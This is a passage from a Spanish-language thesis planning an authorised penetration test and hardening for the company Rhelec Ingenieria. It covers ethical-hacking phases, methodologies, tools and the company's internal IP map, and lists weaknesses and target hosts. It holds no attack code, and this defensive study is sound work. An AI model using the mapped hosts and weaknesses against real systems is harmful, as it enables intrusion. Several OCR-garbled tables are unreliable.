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RESUMEN
Rhelec Ingenieria, es una compafiia que brinda asistencia en el campo de las
Telecomunicaciones, la Ingenieria Eléctrica, y en servicios de Construccion, cumpliendo
requisitos de calidad con sus usuarios y con la normativa permitida en materia de seguridad,

salud y medio ambiente.

Actualmente esta compafiia no aplica ninguna estrategia de seguridad para la
administracion de la informacidn en su infraestructura tecnoldgica. Considerando, el alto uso
de sus servicios de red, asi como el intenso manejo de la informacidn en sus diferentes areas,
se hace necesario disefiar y aplicar pruebas de penetracion, teniendo como objetivo
diagnosticar con precision el estado de seguridad de la compafiia a través de pruebas de
ataque autorizadas y controladas para detectar vulnerabilidades que buscan aprovechar las

debilidades percibidas en la linea base visible de la organizacién.

Para complementar las pruebas realizadas, se definiran estrategias tales como
politicas de seguridad, reforzamiento de dispositivos hardening, con las respectivas
actividades y procedimientos necesarios para garantizar que los recursos con sus respectivos

activos de informacion estén protegidos.

PALABRAS CLAVES: Hardening, Hacking Etico, Metodologias y Anélisis de Riesgos

Informaéticos, Seguridad Informaética

Xiv



ABSTRACT

Rhelec Ingenieria, is a company that provides assistance in the field of
Telecommunications, Electrical Engineering, and Construction services, meeting quality
requirements with its users and with the applicable regulations allowed in terms of safety,

health and environment.

Currently this company does not apply any security strategy for the management of
information in its technological infrastructure. Considering, the high use of its network
services, as well as the intense information management in its different areas, it is necessary
to design and apply penetration tests, aiming to accurately diagnose the security status of the
company through authorized and controlled attack tests to detect vulnerabilities that seek to

exploit the weaknesses perceived in the organization's visible baseline.

To complement the tests carried out, strategies such as security policies,
reinforcement of hardening devices will be defined, with the respective activities and
procedures necessary to ensure that the resources with their respective information assets are

protected.

KEY WORDS: Hardening, Ethical Hacking, Methodologies and Computer Risk Analysis,
Computer Security.
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INTRODUCCION

Hoy en dia, muchas de las organizaciones publicas y privadas realizan procesos
rutinarios que exigen la transferencia permanente de informacion valiosa sobre su
infraestructura de red. De no ser controlados, estos procesos pueden tener y un alto riesgo
de sufrir ataques como el robo, intercepcién, duplicacion o modificacién de informacién e
incluso ataques mas agresivos que pueden producir incluso la interrupcion total de sus

procesos.

El presente trabajo de titulacion, se concentra en la implementacion de un conjunto de
pruebas de hackeo ético para la deteccion de fallos y vulnerabilidades, ademas de emplear
medidas y normativas de seguridad para regular el uso de sus activos de informacién, asi

como procesos de hardening para fortalecer la seguridad en sus dispositivos de hardware.

La documentacion que respalda el siguiente trabajo, se divide en cuatro capitulos que

se detallan a continuacion.

En el capitulo uno se detalla los antecedentes, subdivididos en: planteamiento del
problema, justificacion, el desarrollo de objetivos tanto generales como especificos y el
marco conceptual, donde se encuentran descritos los fundamentos tedricos mas relevantes

que conforman el proyecto.

En el capitulo dos se presenta un reconocimiento situacional en el cual se realiza una
recopilacion de informacion con respecto de la compafiia a estudiar, en la cual se comprende
la informacion mas relevante como la ubicacidn, la mision y vision, los objetivos

empresariales, etc.

Posteriormente, el tercer capitulo define el analisis de la metodologia que se aplico,
la descripcién y seleccion de herramientas que se utilizaron, la ejecucién de las pruebas que
se realizaron las cuales van de la mano con el reporte de vulnerabilidades y finalmente el

analisis de riesgo de las mismas.

Finalmente, el capitulo 4 engloba las estrategias para mejorar las seguridades, donde
se detallard los controles implementados, el andlisis del equipamiento, la instalacion y/o
configuracién de comandos y por ultimo las pruebas realizadas con resultados positivos

como la mejora en la operacion, conectividad y desempefio de los cambios realizados.

XVi



CAPITULO 1
ANTECEDENTES

1.1 Planteamiento del Problema

Actualmente, muchas organizaciones cuentan con redes internas para transmitir
mayores volimenes de informacion digital, los desarrollos tecnolégicos han hecho que
estas instituciones sean parte de la evolucion en el nimero de ataques de hackers a
usuarios de Internet e Intranet en los ultimos tres afios. Las principales amenazas que
asechan a las empresas ecuatorianas se concentran en ataques de ingenieria social y
vulnerabilidades internas que provocan ataques como el robo de informacion
confidencial, evidenciando que las empresas no han analizado e implementado recursos
en el campo de la seguridad informatica. La incipiente aplicacion de pruebas de
penetracion de hackeo ético para el descubrimiento temprano de debilidades en los
servicios de red privadas, es uno de los primordiales problemas que ponen en peligro la
seguridad de las empresas. En el caso de la compafiia Rhelec Ingenieria, no es la
excepcion, si bien se han implementado varios servicios de red y sus respectivos
protocolos, sin embargo, hasta el momento nunca se h implementado herramientas para
detectar vulnerabilidades existentes en su infraestructura. Rhelec Ingenieria cuenta con
una intranet y sus respectivos equipamientos que no han sido sometidos a ninguna prueba
técnica de “hacking ético” para detectar vulnerabilidades, dejando de lado la posibilidad
de minimizar el nivel de riesgo de que su informacién sea modificada o a su vez robada

en su totalidad.
1.2 Justificacion

Con el aumento del consumo de los medios digitales y el acceso a los servicios de
Internet, las organizaciones publicas y privadas del mundo actual se han visto en la
obligacion de ejecutar medidas de seguridad. Este proyecto define un conjunto de pruebas
para la deteccion de brechas de seguridad existentes en la infraestructura de red
tecnoldgica, a través de una estrategia metodoldgica de pruebas de hackeo ético sobre los
activos tecnoldgicos de la empresa para detectar fallos y debilidades en su red interna. La
importancia de este proyecto técnico considera el uso de las metodologias que permitan

efectuar el proceso de identificacion y recoleccion de datos para plantear medidas que



puedan hacer frente a las vulnerabilidades. EI impacto del hacking ético y “Hardening”,
en este trabajo técnico tiene que ser determinante para minimizar los resultados de un
posible acontecimiento de seguridad hacia la rotura de la Seguridad Informatica de la
empresa Rhelec Ingenieria. Los resultados permitiran identificar las fortalezas y

debilidades encontradas en las brechas de seguridad.
1.3 Objetivos
1.3.1 Objetivo General.

Implementar una estrategia de fortalecimiento (hardening) del sistema de
seguridad de la empresa Rhelec a partir de un conjunto de pruebas de hackeo ético para

la deteccion de fallos y vulnerabilidades.

1.3.2 Objetivos Especificos.

e Determinar la linea base de la empresa Rhelec Ingenieria en el area de seguridad
informatica definiendo un estudio inicial de su infraestructura tecnoldgica

e Realizar un andlisis comparativo sobre las metodologias y herramientas mas
importantes del hackeo ético existente en el mercado para el analisis de seguridades
en empresas.

e Implementar un conjunto de pruebas de penetracion sobre los activos tecnoldgicos en
la empresa para la deteccion de vulnerabilidades en la misma

e Definir las recomendaciones y acciones correctivas para la seguridad informatica a

partir de los resultados obtenidos de las pruebas realizas.
1.4 Marco Conceptual
1.4.1 Seguridad Informética Guiada a Empresas.

Es el procedimiento de evitar y descubrir el uso no licito de redes informaticas e
incluir evaluaciones y cuantificar los activos informaticos de una estructura, como datos,
equipos y software. La seguridad informatica es minimizar el riesgo, implementar
medidas preventivas a través de politicas de seguridad y evitar cambiar o reemplazar la

informacion almacenada. (Pacheco, 2018)



1.4.1.1 Principales Elementos que Cubren la Seguridad Informatica.

Los elementos mas relevantes de la seguridad informatica denotan los tres pilares

fundamentales, que se muestra en la Figura 1.1.

1. Confidencialidad: Usuarios autorizados que pueden acceder a la base de
informacion

2. Integridad: Unicamente son los usuarios autorizados que pueden modificar las
bases de datos necesarios.

3. Disponibilidad: Datos que deben estar aptos para el usuario cuando los necesite.

Figura 1.1 Triada C.I.A. Seguridad Informatica

Confidencialidad

Seguridad de la
Informacién

Integridad Disponibilidad

Fuente: Roberto Chango y Daniela Gualpa

1.4.2 Vulnerabilidad y Riesgo Informatico.

El termino vulnerabilidad informatica hace énfasis a las debilidades que se
encuentran en los sistemas informaticos, ya que a través de la inseguridad un
ciberdelincuente puede cometer cambios fraudulentos en las bases de datos que se
encuentras en los sistemas de las organizaciones. (Mayorga, 2017). Segan, (Juan, 2010)
el riesgo se define como la probabilidad de que un incidente dafiino ocurra cuando el haga

efecto el impacto dentro de la organizacion.

Figura 1.2 Vulnerabilidades vs Amenazas de Riesgo Informatico

Vulnerabilidad

Sistema

Amenaza P
Informatico

Fuente: Roberto Chango y Daniela Gualpa
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1.4.3 Fases de Hacking Etico Guiada en Empresas.

Al momento de efectuar el hacking ético, es indispensable segmentar en cinco
fases, estos ciclos son consideras a nivel mundial por reconocidos profesionales en

Seguridad de la Informacién y Otorgado por la empresa EC-Council._(Tovar, 2020)

Figura 1.3 Fases de Hacking Etico

Fases que sigue el Hacker Etico

- o

S:rbtener el
SHcceso

Fuente: Roberto Chango y Daniela Gualpa

(Fase 1) Reconocimiento: Fase inicial donde el profesional conocido como
Hacker Etico investiga varias técnicas para encontrar el mayor nimero de datos de la
organizacion que permite descubrir sospechas de ataques y vulnerabilidades dentro
de un sistema operativo. (Fase 2): Escaneo: En esta fase es donde la exploracion
implica apoderarse de la informacion que fue recopilada en la fase anterior y examinar
con el objetivd de detectar posibles ataques que permitan entrar en el sistema al
momento de realizar un analisis de fallas de configuracidbn o presencia de

vulnerabilidades con el uso de metodologias y herramientas de Hacking Etico.

(Fase 3): Obtener Acceso: Esta es la fase donde el intruso ha conseguido acceder
al sistema y se encarga de manipular la explotacion de forma manual en las diversas
vulnerabilidades encontradas en la fase de escaneo querra mantener el acceso vulnerable
para futuras explotaciones o ataques. (Fase 4): Manteniendo Acceso: En esta fase el
Hacker Etico busca ampliar la variedad de herramientas, emplear archivos ocultos que
permiten disponer de puertas traseras para el control de remoto de sistema manteniéndolo
comprometido. (Fase 5): Limpiar Huellas: Después de haber realizado cada una de estas
fases el Hacker Etico, genera un informe de evidencias de presencia dentro del sistema.
También deberé cubrir las huellas para evitar el acceso comprometido a vulnerabilidades.
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1.4.4 Tipos de Hackers.
1.4.4.1 Hacker Etico “White Hat”.

Persona profesional en seguridad informatica que posee conocimientos avanzados
en tecnologia, usa metodologias certificadas que mejoran los tiempos de respuesta ante
vulnerabilidades en una fase de explotacién dentro de la red (Burgos, 2019).

1.4.4.2 Ciberdelincuente “Black Hat”.

Persona con habilidades y conocimientos en informatica, tienen como objetivo
infiltrar, romper y vulnerar las seguridades de los sistemas informaticos obteniendo
informacion privilegiada, buscan tener un beneficio personal, economico y ademas lo

hacen por emocion al espionaje.
1.45 Metodologias del Hacking Etico

1.4.5.1 Metodologia OSSTMM.

Esta norma OSSTMM mejor conocida como “Open Source Security Testing
Methodology Manual™, también identificada como una metodologia en pruebas de
seguridad de codigo abierto, segun, (Olegario, 2021), “actualmente es uno de los
estandares de referencia para los profesionales que realizan hacking ético”, se guian a
través de un grupo de procedimientos y métodos para ejecutar exploraciones dentro de
los sistemas activos y pasivos de una organizacién, OSSTMM tiene varias etapas para
inspeccionar la infraestructura de una red, aplicando el método de Hacking ético, también

conocido como mapeo de seguridad.

1.4.5.2 Metodologia ISSAF.

La metodologia ISSAF es aplicable y cubre el analisis de seguridad en
practicamente cualquier entorno de cualquier entidad, independientemente de su tamafio.
Esta metodologia es compatible con el analisis del sistema en aparatos de red, sistemas
de auditoria de bases de datos, sistemas operativos y aplicaciones. Otro elemento
importante de ISSAF es la implementacion de los requisitos normativos y las buenas
practicas. Este es un método especifico para las pruebas de “pentesting”. (Penagos, 2019).
ISSAF debe cumplir 3 etapas para proteger la seguridad de la informacion en una

organizacion y estas son: Planeacion y preparacion, Evaluacion, Reporte y Borrar Huellas
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Figura 1.4 Fases de la Metodologia ISSAF
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(3) Reporte, Limpieza y Destruccion de Huellas

Fuente: (Penagos, 2019) Recuperado de ISSAFF

1.4.5.3 Metodologia OWASP.
OWASP por sus siglas (Open Web Applicattion Project) es una idea global que

tiene como finalidad ayudar a potenciar la seguridad del software en las aplicaciones, esta
organizacion sin fines de lucro, ademas de mostrar la importancia de garantizar los
criterios de seguridad en las aplicaciones, proporciona la informacion suficiente para
gestionar los riesgos que implica conectar con los diferentes errores a nivel de cddigo
abierto, OWASP, determina un plan basado en un enfoque colaborativo donde cualquier

profesional de la seguridad informatica puede aportar su conocimiento,. (De Luz, 2021)
1.4.6 Herramientas para Hacking Etico.

1.4.6.1 Herramienta de Nmap.

Es un aplicativo de escaneo que identifica brechas de seguridad y anélisis de red
de codigo abierto. Nmap emplea paquetes IP "sin procesar" de una nueva forma para
establecer qué computadoras estan visibles en la red, los servicios (nombres y versiones
de las aplicaciones) que ofrecen, los sistemas operativos (y sus versiones) que se
desempefien con el tipo de filtro de paquetes. Nmap se usa comunmente para pruebas de
seguridad, muchos administradores de redes y sistemas lo encuentran util para realizar
tareas rutinarias como el inventario de la red, programar una actualizacion de servicio y

monitorear el tiempo de apagado de una computadora o servicio. (Albacete, 2017)



1.4.6.2 Herramienta de Nessus.

Nessus es una herramienta profesional y con una alta popularidad a nivel mundial,
ayuda a reducir la superficie de ataques de una organizacion y garantiza el cumplimento
de los objetivos de deteccion de malware, deteccion de datos confidenciales, Nessus
admite variedad de tecnologias que permiten escanear los sistemas operativos,
dispositivos de red, Firewalls de Gltima generacion, servidores web e infraestructura

critica para detectar vulnerabilidades y amenazas. (Tenable, 2021)

1.4.6.3 Herramienta de Metasploit.

Segun (Ciberseguridad, 2021), Metasploit fue disefiado originalmente en el afio
de 2003 por HD Moore como una herramienta de red portatil basada en Perl . Ademas,
esta herramienta es ideal para aprovechar el desarrollo y la mitigacion de vulnerabilidades
contra un dispositivo de red remota, te posibilita llevar a cabo testeos de seguridad,
intentando y desarrollando tus propios exploits. Metasploit se cred inicialmente en un

lenguaje de programacién llamado Perl y se ha vuelto a escribir completamente en Ruby.

1.4.7 Hardening.

El Hardening es un conjunto de procesos de endurecimiento y/o robustez de la
seguridad informética, su principal fin es proteger los activos tecnol6gicos de una
organizacion, este proceso de configuracion busca minimizar las vulnerabilidades,
entorpecer al atacante y mejorar el tiempo de respuesta ante la presencia de amenazas de
forma interna y/o externa en el software y hardware de un sistema operativo. (KIMAT,
2018). Eliminar usuarios, el cierre de puertos inutilizables, la eliminacion de servicios

innecesarios, son acciones para endurecer la red.

Figura 1.5 Esquema de Seguridad (Hardening)

Fuente: Roberto Chango y Daniela Gualpa
7



CAPITULO 2
ANALISIS SITUACIONAL
2.1 Informacion Empresarial

La compafiia Rhelec Ingenieria. Inicid sus procesos en el 2005, y ofrece una gama
de servicios enfocados, en los sectores civil, eléctrico y de las telecomunicaciones. Su
ambito de operacion principalmente se enfoca en proyectos de montaje estructural,
construccion civil y mantenimiento eléctrico, garantizando la calidad y excelencia global
de cada obra, adaptdndose siempre a las necesidades del mercado y consiguiendo la
satisfaccion del cliente. (Rhelec, Ingenieria, 2021)

2.2.  Linea de Negocioy Servicio de la Empresa

(Rhelec, Ingenieria, 2021), compafiia que presta servicios en los sectores de
Ingenieria Eléctrica, Telecomunicaciones y la Construccion, cumpliendo con los
requisitos de las normativas legales adaptables en materia de seguridad, salud y medio

ambiente. Siempre trabajando por la mejora continua en:

Servicios de mantenimiento y soporte de radio bases, equipamiento, transmision,
mantenimientos (Emergentes, Correctivos, Preventivos), convirtiéndose en un proveedor
de servicios calificados con apoyo econdémico, salud ocupacional, seguridad laboral con
cobertura 24/7 en todas las provincias de la Costa, Sierra, Oriente y Region Insular. La
empresa se dedica al disefio de construcciones en: Administracion y procesamiento de
informacion, andlisis de datos, KPI, SLA, mesa de gestion y operaciones 24/7, monitoreo
de alarmas, Dashboards, Automatizados Qlik Sense, Network Operation Center.

2.3 Descripcion de la Infraestructura Tecnologica

La topologia de red con la que fue disefiada y se mantiene hasta la fecha en la
empresa Rhelec Ingenieria es de tipo estrella utilizada por su eficiencia y simpleza. Para
que la red de la empresa admita una amplia diversidad de aplicaciones y servicios, la
arquitectura de red debe cumplir con las expectativas de los internautas en cuanto a

tolerancia a deficiencias, escalabilidad, condicion de servicio y confianza. En la siguiente



tabla se menciona los distintos dispositivos que existen en los distintos departamentos

que conforma la empresa Rhelec.

Tabla 2.1. Dispositivos Activos y Pasivos de las diferentes areas de la Empresa.

DISPOSITIVO DISFOSITIV O AREA
ACTIVO PASTVO

2 computadoras 4 cable dered
2 teléfono IP 2 toma de datoz EJ45 CONSTRUCCIONES
1 Access Point 1 canaleta
3 computadoras & cable dered
3 teléfono IP 3 toma de datosz EJ45 CONTABILIDAD
1l impresora 1 canaleta
2 computadoras 4 cable dered TALENTO
2 telefono TP 2 toma de datoz BEJ45 HUMANG
limpresora dered 1 canaleta
2 computadoras 4 cable dered BODEGA ¥
2 teléfono TP 2 toma de datozs ET45 ACTIVOS
2 camara IP 1 canaleta
2 computadoras 4 cable dered
2 telefono IP 2 toma de datos EJ45 VEHICULOS
1 camara IP 1 canaleta
1 computadora 2 cable dered
1 teléfono IP 1 toma de datos BEJ45 RECEPCION
limpresora dered 1 canaleta
1 computadora 2 cable dered
1 teléfono IP 1l toma de datoszs EJ45 COMPRAS
1 camara IP 1 canaleta
1 computadora 2 cable dered
1 teléfono TP 1 toma de datos BEJ45 SISTEDNLAS
1 Access Point 1 canaleta
1 computadora 2 cakle dered TALLER
1 teléfono IP 1 toma de datoszs EJ45 ELECTRICO
1 camara IP 1 canaleta
1l computadora 2 cable dered SEGURIDAD
1 teléfono IP 1 toma de datoszs EJ45 INDUSTRIAT
1 camara IP 1 canaleta
]l computadora 2 cable dered
1 telefono IP 1 toma de datos BJ45 OTTARDIAINLA
1 camara IP 1 canaleta
2 computadoras 20 cable dered
2 switch 1 toma de datos EJ45
1 Router 3 rack SERVIDORES
1 modem 2 patch panel

1 camara IP

S canaleta

Fuente: Roberto Chango y Daniela Gualpa

Los servicios que existen en la red de la empresa son los siguientes:

e Servidores de: Archivos, Aplicaciones, Web.

e Servicio de WLAN, impresora de red, DHCP, Telefonia IP y cAmaras IP.

9



La empresa Rhelec Ingenieria cuenta con un enlace de acceso a internet por fibra
Optica provisto por la empresa Fibramax con un ancho de banda de 20MB.En la figura
2.1 y figura 2.2 se ilustra como estd conformada la topologia fisica y logica de la red
empresa Rhelec Ingenieria.

Figura 2.1 Topologia Fisica de la red de la empresa Rhelec Ingenieria CIA Ltda.
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Fuente: Roberto Chango y Daniela Gualpa

Figura 2.2 Topologia Logica de la red de la empresa Rhelec Ingenieria.
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Fuente: Roberto Chango y Daniela Gualpa
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En la siguiente tabla se define el direccionamiento IP de red por areas que

conforma la topologia de Red de la empresa Rhelec Ingenieria.

Tabla 2.2 Direccionamiento IP de dispositivos que se encuentran en la Empresa

EQUIPOS DIREC CION IP MASCARA
Gerencia General 192.168.0.15 255.255.255.0
Construcciones 1 192.168.0.36 2552552550
Construcciones 2 152.168.0.62 255.255.2550
Mantenimiento 1 192.168.0.73 255.255.255.0
Mantenimiento 2 192.168.0.74 255.255.255.0
Mantenimiento 3 192.168.0.85 255.255.255.0
Mantenimiento 4 192.168.0.87 255.255.255.0
Mantenimiento 5 192.168.0.89 255.255.255.0
Contabilidad 1 192.168.0.24 255.255.255.0
Contahilidad 2 192.168.0.29 255.255.255.0
Talento Humano 1 192.168.0.40 255.255.255.0
Talento Humano 2 192.168.0.44 255.255.255.0
Vehiculos 1 192.168.0.52 255.255.255.0
Vehiculos 2 192.168.0.53 255.255.255.0
Bodega 1 192.168.0.64 255.255.255.0
Bodega 2 192.168.0.67 255.255.255.0
Recepcién 192.168.0.70 255.255.255.0
Compras 192.168.0.75 255.255.255.0
Sistemas 192.168.0.33 255.255.255.0
Taller Eléctrico 192.168.0.104 255.255.255.0
Seguridad Industrial 192.168.0.14 255.255.255.0
Guardiania 192.168.0.16 255.255.255.0
Access Point Primario 192.168.0.4 255.255.255.0
Access Point 192.168.0.3 255.255.255.0

Secundario
Servidor de archivos
Servidor de

152.168.0.254
192.168.0.193

2552552550
2552552550

aplicaciones

Servidor weh 192.168.0.11 255.255.255.0
Router 1592.168.0.1 2552552550
Switch 192.168.0.253 2552552550
camaras IP 192 168.0.25 2552552550

Fuente: Roberto Chango y Daniela Gualpa

2.4 Descripcion de la Problematica de la Empresa en Cuanto a Seguridades

Informéticas.

Por medio de una encuesta realizada exclusivamente a los funcionarios del
departamento de sistemas (Anexo 1), se pudo conocer que desde la fundacion de la

empresa Rhelec hasta la fecha actual, nunca se ha realizado ningun tipo de pruebas de
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hackeo ético (pentesting). Las personas encargadas del area de sistemas no tienen el

control sobre las operaciones de las areas empresariales de la organizacion. Se detecto

ademas que la red inalambrica (WLAN) permite libre navegacion sin ninguna restriccion

de acceso, lo cual la hace vulnerable y proclive al acceso a sitios no permitidos.

Ciertas preguntas que estdn generalmente realizadas a los departamentos de

mantenimiento, contabilidad, bodega, recepcién, vehiculos y compras, se pudo detectar

varias problemaéticas que se mencionan a continuacion:

2.5

El departamento de bodega, recepcion y compras, son las areas mas sensibles de la
empresa en cuanto a seguridad informatica, debido a que sus respectivos ordenadores
de trabajo no tienen un sistema operativo actualizado. Actualmente estan operando
con Windows 7, y ya han dejado de ser efectivos, convirtiéndose en serios problemas
de seguridad, por esta razon es urgente instalar actualizaciones de los SO para
garantizar la seguridad. Hace poco tiempo, el departamento de bodega sufrié un
incidente de seguridad informatica debido a la descarga de archivos adjuntos con
contenido malicioso enviados desde correos desconocidos. Por otra parte, algunas de
las computadoras de esta &rea no cuentan con software antivirus.

También, se logré observar que en algunos sistemas informaticos de la organizacion
permiten escalar diferentes niveles de permisos para acceder a secciones de forma
discrecional. Se requiere la reconfiguracion de los permisos de estos sistemas en
funcién de los perfiles de los usuarios y de esa manera se minimizan los riesgos de
sufrir todo tipo de ataques.

La mayoria de empleados de la compafiia no son conscientes de la importancia de la
seguridad de la informacion, y tampoco se ha definido programas de formacién y/o
capacitacion para prevenir ataques de seguridad informatica. En cuanto a las
contrasefias que utilizan en sus computadoras de trabajo, no utilizan una combinacion
robusta entre numeros y caracteres. Algunos empleados incluso no utilizan
contrasefias, se pudo observar que en distintos puestos de trabajos los usuarios tienen

sus contrasefias escritas en un papel adhesivo pegado en las pantallas de su equipo.
Anadlisis de los Problemas Detectados

Gracias a la encuesta realizada al personal de la empresa se ha podido obtener

varias evidencias acerca de la problematica de ciberseguridad antes mencionadas que
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tiene actualmente la organizacién, para asi determinar una linea base. Las distintas
pruebas de penetracion dentro de la red local de la empresa permitiran evaluar de manera
objetiva los problemas detectados dentro del sistema de seguridad informatico de la
organizacion que permitan establecer estrategias de mejora en cuanto a fortalecimiento

(hardening) en la seguridad de la misma.

Los problemas de ciberseguridad pueden poner en riesgo la informacion
confidencial y la reputacion de una empresa y tener un impacto financiero, en la imagen
u operacién muy significativa en cualquier negocio. Al momento de abrir y/o descargar
archivos de correos electrénicos desconocidos puede tratarse de un atague de phishing
que es un método para obtener contrasefias. Este tipo de ofensiva funciona mediante el

remitir correos electrénicos de phishing o sitios web falsos a usuarios ingenuos.

Los equipos que no tienen una constante actualizacion en su sistema son mas
propensos a recibir un ataque rasomware. Actualmente es importante que las
organizaciones inviertan una parte de su presupuesto al departamento de seguridad de la
informacion, a través de sistemas de ciberseguridad, tanto para la proteccion de los
usuarios como para los datos informaticos confidenciales que existe dentro de la empresa.
Muchas empresas nacionales e internacionales no se sienten completamente protegidas
ante un ciberataque, ya sea porque son necesarias actualizaciones constantes de software
0 porque no brindan soporte técnico para mantener sus sistemas informéticos en dptimas
condiciones. El parque tecnoldgico de una empresa, independientemente de su tamafio o
tipo, puede ser vulnerable a cualquier ciberataque. En este sentido, una buena gestion de

la indagacion es fundamental para tomar medidas preventivas y correctivas necesarias.
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CAPITULO 3

METODOLOGIA
HACKING ETICO PARA LA DETECCION DE VULNERABILIDADES

El presente capitulo se describe la implementacion de un conjunto de pruebas de
hackeo ético para el descubrimiento de amenazas y susceptibilidad en la infraestructura
de la empresa Rhelec, conjuntamente con la metodologia y herramientas para

implementar dichas pruebas.
3.1  Tipo de Investigacion

Se utilizaran métodos de investigacion con un enfoque deductivo e inductivo para
las estrategias de operaciones ldgicas y a través de diversas técnicas y herramientas para

describir hechos mas detallados respecto a la seguridad informatica y la ética del hacking.

3.1.1 Método Deductivo.

Se realizara un andlisis de conceptos generales hacia los méas especificos, para
inferir en el descubrimiento de vulnerabilidades y su posterior explotacién ayudaran a su
identificacion, determinar el estado actual de la seguridad en la empresa Rhelec y
determinar los controles practicos para contrarrestar amenazas potenciales que logren

posibles atentados informaticos.

3.1.2 Método Inductivo.

De un supuesto general hasta conceptos especificos, se da pasé a la condicién
actual de seguridad de la organizacién para establecer los factores que se aplicaran para
complementar o crear una estrategia de seguridad en la empresa Rhelec. Se pretende
seleccionar los aplicativos de software adecuados para realizar las simulaciones
propuestas en el proyecto. La documentacion va de la mano con el desarrollo diario de

cada fase presentada para este proyecto.

3.1.3 Planeacion del Proyecto.

Teniendo en cuenta que los principales objetivos del plan son: Analizar las

metodologias y herramientas mas importantes del hackeo ético para detectar
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vulnerabilidades de la infraestructura de lared fisica y l6gica de la organizacién, se prevén

las siguientes actividades:

3.1.4 Analisis Comparativo de Metodologias para Identificar Vulnerabilidades en

la Seguridad Informatica.

Para realizar este analisis, se seleccionaron varias metodologias como ISSAF,
OSSTM, OWASP, PTES, principalmente por sus caracteristicas de auditoria que tienen
enfoques similares en cuanto a la evaluacion de la seguridad informatica, se procedio a
investigar la informacion de cada una de ellas, las cuales se encuentran planteadas en el

subcapitulo (1.4.5  Metodologias del Hacking Etico).

Estas metodologias seleccionadas proporcionan un modelo de propuesta para
integrar diferentes mecanismos especificos para pruebas de pentesting con la capacidad
de evaluar las diversas vulnerabilidades en el sistema informatico y aplicaciones web.
Para determinar la metodologia adecuada a utilizar en la infraestructura empresarial de
Rhelec, se detalla en la tabla 3.1 la comparacion de los indicadores asegurandose que
cumplan con garantizar el trabajo completo que proporciona un enfoque sistematico

desde la planificacion, evaluacion y mejora continua

Tabla 3.1 Comparacion de las Metodologias.

CARACTERISTICAS METODOLOGIAS
INDICADOR ISSAF OSSTM OWASP PTES

Determinalos pasos a seguir SI No NG No
para unabuena evaluacién
Permite realizar estudios de NO jule} SI N
seguridad en cualquier sistema
informatico
Contiene unmodelopararealizar ST I [e] el ST
prucbas
Determina las areas de alcance ST NO ST NO
Contiene muestrasde pruebas y SI SI SI SI
resultados
Define técnicaspara la evaluacidn ST NO ST NO
Publicacidn de evaluacicnes de SI SI SI SI
riesgos
Herramientas recomendadaspara ST NO ST NO
cada prueba
Enurnera y categoriza las ST NO NO NO
vulnerabilidades que sehan
encontrado
Determina las dimensiones de NO SI NO SI

seguridad a evaluar
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Es un estandar N SI z1 e

Creacidgn deinformes 21 sI z1 31
Fecomendaciones sSI I L] iR L] 31
Contiene referencias a dooumnentos a1 IR e] SI e
v enlaces

Enviarezefias de aplicaciones web 21 I L] sI iR L]
Enviaacuerdo de confidencialidad 21 sI M iR L]
Mlantene actualizaciones 21 sI SI e

Fuente: (Zea, 2019) Recuperado de Comparaciones de Metodologias en aplicaciones web. Universidad
Técnica de Machala

Luego de esta comparacion, en la Tabla 3.1 se selecciond la metodologia ISSAF
para las pruebas de hackeo ético porgque nos permite abordar todos los aspectos relevantes
que ofrece una propuesta viable y de alto valor para abordar areas clave de la seguridad
de la informacion en la empresa, mediante un modelo que se ajusta a los escenarios reales
para las pruebas realizadas, ademas permite documentar los procesos de manera clara y

consistente en este proyecto de tesis.

3.1.5 Metodologia ISSAF para Realizar Hacking Etico.

Para el desarrollo de este proyecto, se optd por la metodologia ISSAF de la
OISSG (Open Information SystemsSecurity Group), misma que se basa en la evaluacion
y analisis de ciberseguridad y aplicaciones. Las directrices metodoldgicas se centran en

las siguientes tres fases:

Figura 3.1 Fases Metodologia ISSAF

7~ TN

+ Planeaciony + Evaluacién * Reportes

Preparacion

Fuente: Roberto Chango y Daniela Gualpa

Fase 1 - Planeacion y Preparacion):Durante esta etapa el punto inicial es
proceder con el intercambio de informacion con la organizacion para preparar y planificar
los procesos de pruebas de Pentesting. Ademas se debe mencionar la persona responsable,

las fechas y horas de las pruebas y otras evaluaciones.

Tabla 3.2 Plan de Auditoria Empresa Rhelec.
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PLAN DE AUDITORIA DE SEGURIDAD EN LA INFRAESTRUCTURA DE LA

RED
HACKING ETICO
Empresa: RIELEEAIE%EERIA Departamentos
No. 1
Aunditoria
Objetivo Examinar
vulnerabilidades de
seguridad en las redes
inalémbricas para
implementar planes de
accion que ayuden a
mitigar las
vulnerabilidades =
descubiertas 'f?_.; e - = % %
Alcance Verificar la condicién 5 § -‘g = =] E = S w =
actual de la estructura de Cg E E % = 3 %ﬁ § g | =
lared. s | &8 = = | 2|5 |5 5] hZ E
Metodologia | ISSAF § 8 8 =5 & = e~ | R B
) = = o = b:.()
[47] o 2

Estado ¥ estimacion del Proceso

Se revisaran todas las medidas de
seguridad de lared inalambricaparael
diagnoéstico, por cada vulnerabilidad

descubierta

AUDITORES
Auditor Roberto Chango &
General: Daniela Gualpa

Fuente: Roberto Chango y Daniela Gualpa

Fase 2 - Evaluacion: Durante esta etapa se aplicé la estructura del método ISSAF
de hacking ético, que permitié identificar puntos de acceso e introducir un enfoque de
multiples capas, los procesos implementados son. Recopilacion de datos, mapeo de red,
identificacion de servicios vulnerables en puertos abiertos, lista de vulnerabilidades

descubiertas, evaluacion de impacto y determinar las rutas de ataque.

Fase 3 - Reportes: Se preparara un informe de evaluacion de seguridad de TI
que detallara las vulnerabilidades identificadas e implementard las recomendaciones

basado en controles de seguridad (Hardening)
3.2 Herramientas para Aplicar Hacking Etico

Para realizar hackeo ético mediante pruebas de pentesting se utilizara el sistema
operativo especializado en herramientas de ciber seguridades Kali Linux que se aplica
ampliamente en el desarrollo de auditorias informaticas. El dispositivo que se utilizara es
una computadora portatil conectada a la trama local de la empresa con las siguientes

caracteristicas:

e Sistema operativo: Kali Linux 2022.1
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e  Procesador: Intel(R) Core (TM) i5-1035G1
e Ram:12 GB

Las herramientas de Kali Linux que se utilizaran para las diferentes pruebas de
penetracion son de codigo libre y comercial. En la tabla 3.3 se definen los equipos
seleccionados para las pruebas de pentesting segun las areas mas sensibles identificadas

anteriormente.

Tabla 3.3 Equipos seleccionados para las pruebas de pentesting

MAQUINA IP
Servidor de Archivos 192.168.0.254 /24
Servidor Web 192.168.0.11 /24

Servidor de Aplicaciones | 192.168.0.193 /24

Access Point Primario 192.168.0.4 /24

Router de Internet 192.168.0.1 /24
Fuente: Roberto Chango y Daniela Gualpa

3.3 Disefio de Pruebas y Escenario para las Pruebas de Hackeo Etico

